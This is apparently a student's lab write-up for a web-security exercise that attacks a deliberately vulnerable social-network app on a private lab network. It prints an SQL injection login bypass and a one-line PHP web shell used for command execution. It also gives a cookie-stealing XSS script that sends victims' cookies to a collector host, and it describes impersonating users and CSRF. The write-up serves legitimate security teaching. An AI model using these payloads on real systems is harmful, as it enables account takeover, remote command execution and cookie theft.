Exercise 3:
Social Networks

Contents

1 Tasks

1.1 SQL Injection

If we check the login form, we can see that the user needs to enter the *email* address and a *password* in order to log in. From http://10.0.23.22/dblayout, we can find the name of the column for the first name (*first_name*) and use it to log in as **Hanni Ball**. The payload will look like this:

```
' OR first_name='Hanni' -- -
```

If there were multiple users with the same name, we could have used the *id* instead of *first_name*. The *id* of each user can be acquired from the URL of their profile page.

1.2 Improper Authentication

If we analyze the code at http://10.0.23.22/messages, we can see that Django filters all messages/sprays that do not match a certain criterion. Namely, Django uses either the email or the first name of the currently logged in person in order to get their inbox/outbox messages or sprays.

In order to read the messages, we can just edit our first name to that of the victim. But because we can't change our email from there, we can register a new account with both the same first name as the victim, as well as their email.

We can therefore use our access from the previous task and log in as **Hanni Ball**. We can then visit the profile page of **N. O'Brian** and acquire the email. We can now register a new account by setting the first name to `N.` and the email to `man@ahmadinedschad.am`. We are then automatically logged in and can see both the sprays, as well as the messages from and to **N. O'Brian**.

1.3 Unrestricted File Upload

If we open the *My Graffiti* page, we get the option to upload a new graffiti. The server does not check if the file selected is an image, so we can therefore select our own exploit file located in blatt2/a3/Unrestricted File Upload and upload it. The file exploit.php contains the following PHP code: `<?php system($_GET['cmd']); ?>`.

We will be automatically redirected to the *My Graffiti* page. If we click on the box (image) with the name exploit.php under it, it will redirect us to http://10.0.23.22/myspray/media/member/99/exploit.php (99 is the *id* of our user, so it may vary). If we supply a GET parameter named *cmd* with the value of `whoami`, it will print `www-data` in the top left corner. The `whoami` command can be replaced with any command we want.

1.4 Cross-Site Scripting

1.4.1 Reflected XSS

If we try to visit a profile page of a user that does not exist (e.g. http://10.0.23.22/myspray/profile1337.html), we get the following message: `Sorry, the URL /myspray/profile1337.html? was not found :(`. As we can see, the path info of the URL is printed on the page. We can craft the following payload

```
<script>document.location=['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789
↪ abcdef/', btoa(document.cookie)].join('')</script>
```

and append it to the previously mentioned URL in order to steal the cookies of a user. The end URL will be http://10.0.23.22/myspray/profile1337.html?⟨script⟩document.location=['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789abcdef/',btoa(document.cookie)].join('')⟨/script⟩. If we then navigate to our *Cookie Jar*, we will get the base64 encrypted cookies, which we then need to decrypt.

1.4.2 Stored XSS

There are three stored XSS vulnerabilities that can be exploited. Each of them gives us a particular advantage over the next one, i.e. we can control which victims we exploit. For example, the stored XSS vulnerability in messages gives us the ability to only exploit a particular user, the stored XSS vulnerability on our profile page gives us the potential to only exploit users that visit our profile and the stored XSS vulnerability of the comment section of a profile page gives us the possibility to only exploit users that visit that particular users' profile page.

We will use the following payload in order to steal user cookies:

```
<script>document.location=['http://10.0.23.24:8080/xss-helper/cookiejar/0123456789
↪  abcdef/', btoa(document.cookie)].join('')</script>
```

In order to exploit each of the three stored XSS vulnerabilities, we would need to place the above cookie-stealer at the following inputs:

- *Messages*: Write a message to a particular user and provide the payload in the *Text* input field
- *Our profile page*: Increase the *maxlength* of the *Tag* input field through *Web Developer Tools* → *Inspector* and replace its value with the payload
- *Other users' profile page*: Post something on their wall and provide the payload in the *Text* input field

Each time a user visits one of the page where our JavaScript payload is stored, it will send their cookies to our *Cookie Jar*.

1.5 Cross-Site Request Forgery

We can create a simple website that lets the user read some jokes, and in the meanitime, sends a message on behalf of them to the user **Hanni Ball**. The relevant file for this task named csrf.html is located in blatt2/a3/Cross-Site Request Forgery.

2 Requirements

No requirements needed.